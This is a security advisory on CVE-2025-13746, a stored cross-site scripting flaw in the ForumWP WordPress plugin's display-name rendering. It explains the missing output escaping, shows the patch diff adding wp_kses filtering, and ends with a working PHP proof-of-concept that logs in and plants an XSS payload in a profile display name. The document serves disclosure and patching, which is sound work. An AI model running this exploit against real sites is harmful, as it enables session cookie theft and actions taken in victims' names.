Atomic Edge analysis of CVE-2025-13746:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the ForumWP WordPress plugin. The vulnerability affects the user display name field, allowing attackers with Subscriber-level permissions or higher to inject malicious scripts. These scripts execute when other users view pages containing the attacker’s display name, such as forum posts or user cards. The CVSS score of 6.4 reflects the moderate impact of authenticated XSS requiring user interaction.
The root cause is insufficient output escaping in the user card template rendering function. The vulnerable code resides in forumwp/includes/common/class-user.php at line 916. The get_card() method uses ob_get_clean() to capture template output without applying any sanitization. This function renders the user-card.php template, which directly echoes the user’s display name. The plugin fails to escape this output before returning it to the frontend, allowing JavaScript execution.
Exploitation requires an authenticated attacker with at least Subscriber permissions. The attacker updates their WordPress profile display name through the standard WordPress user profile edit page (/wp-admin/profile.php). The payload is inserted into the ‘Display name publicly as’ field. When the attacker creates forum topics or replies, or when their user card appears elsewhere, the malicious display name renders without escaping. Any user viewing content containing the attacker’s name triggers the script execution in their browser context.
The patch addresses the vulnerability by applying output escaping via wp_kses() in the get_card() method. The changed line 916 now reads ‘return wp_kses( ob_get_clean(), FMWP()->get_allowed_html( ‘templates’ ) );’. This function filters the captured template output, removing any HTML tags not explicitly allowed. The patch also adds ‘allowed_html’ to localized script data in two enqueue classes, providing consistent allowed HTML definitions between PHP and JavaScript contexts. Before the patch, raw template output returned unsanitized. After the patch, all template output passes through the allowed HTML filter.
Successful exploitation allows attackers to perform actions within the victim’s WordPress session. Attackers can steal session cookies, perform actions as the victim (like posting malicious content), redirect users to malicious sites, or deface forum pages. While the vulnerability requires authentication, Subscriber is the default WordPress role with minimal permissions, making widespread exploitation feasible. The stored nature means a single payload affects all users viewing infected content.
--- a/forumwp/forumwp.php
+++ b/forumwp/forumwp.php
@@ -3,7 +3,7 @@
* Plugin Name: ForumWP
* Plugin URI: https://forumwpplugin.com/
* Description: A full-featured, powerful forum plugin for WordPress
- * Version: 2.1.6
+ * Version: 2.1.7
* Author: ForumWP
* License: GPLv3
* License URI: http://www.gnu.org/licenses/gpl-3.0.txt
--- a/forumwp/includes/common/class-enqueue.php
+++ b/forumwp/includes/common/class-enqueue.php
@@ -234,9 +234,10 @@
$localize_data = apply_filters(
'fmwp_enqueue_localize',
array(
- 'can_reply' => is_user_logged_in() && current_user_can( 'fmwp_post_reply' ),
- 'can_topic' => is_user_logged_in() && current_user_can( 'fmwp_post_topic' ),
- 'nonce' => wp_create_nonce( 'fmwp-frontend-nonce' ),
+ 'can_reply' => is_user_logged_in() && current_user_can( 'fmwp_post_reply' ),
+ 'can_topic' => is_user_logged_in() && current_user_can( 'fmwp_post_topic' ),
+ 'nonce' => wp_create_nonce( 'fmwp-frontend-nonce' ),
+ 'allowed_html' => FMWP()->get_allowed_html( 'templates' ),
)
);
wp_localize_script( 'fmwp-front-global', 'fmwp_front_data', $localize_data );
--- a/forumwp/includes/common/class-user.php
+++ b/forumwp/includes/common/class-user.php
@@ -913,7 +913,7 @@
FMWP()->get_template_part( 'user-card', $user );
- return ob_get_clean();
+ return wp_kses( ob_get_clean(), FMWP()->get_allowed_html( 'templates' ) );
}
/**
--- a/forumwp/includes/frontend/class-enqueue.php
+++ b/forumwp/includes/frontend/class-enqueue.php
@@ -53,9 +53,10 @@
$localize_data = apply_filters(
'fmwp_enqueue_localize',
array(
- 'can_reply' => is_user_logged_in() && current_user_can( 'fmwp_post_reply' ),
- 'can_topic' => is_user_logged_in() && current_user_can( 'fmwp_post_topic' ),
- 'nonce' => wp_create_nonce( 'fmwp-frontend-nonce' ),
+ 'can_reply' => is_user_logged_in() && current_user_can( 'fmwp_post_reply' ),
+ 'can_topic' => is_user_logged_in() && current_user_can( 'fmwp_post_topic' ),
+ 'nonce' => wp_create_nonce( 'fmwp-frontend-nonce' ),
+ 'allowed_html' => FMWP()->get_allowed_html( 'templates' ),
)
);
wp_localize_script( 'fmwp-front-global', 'fmwp_front_data', $localize_data );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13746 - ForumWP – Forum & Discussion Board <= 2.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Display Name
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker';
$password = 'password';
$payload = '<img src=x onerror=alert(document.cookie)>';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_13746');
$ch = curl_init($login_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract nonce from profile page
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init($profile_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => $cookie_file,
]);
$response = curl_exec($ch);
curl_close($ch);
// Parse nonce from HTML
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Update display name with XSS payload
$update_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init($update_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'from' => 'profile',
'checkuser_id' => '',
'display_name' => $payload,
'nickname' => 'attacker',
'first_name' => '',
'last_name' => '',
'url' => '',
'description' => '',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/profile.php',
'submit' => 'Update Profile'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Cleanup
unlink($cookie_file);
if ($http_code === 200 && strpos($response, 'Profile updated') !== false) {
echo "[+] Payload injected successfully. Display name set to: $payloadn";
echo "[+] The XSS will trigger when users view the attacker's posts or profile.n";
} else {
echo "[-] Injection failed. Check credentials and permissions.n";
}
?>
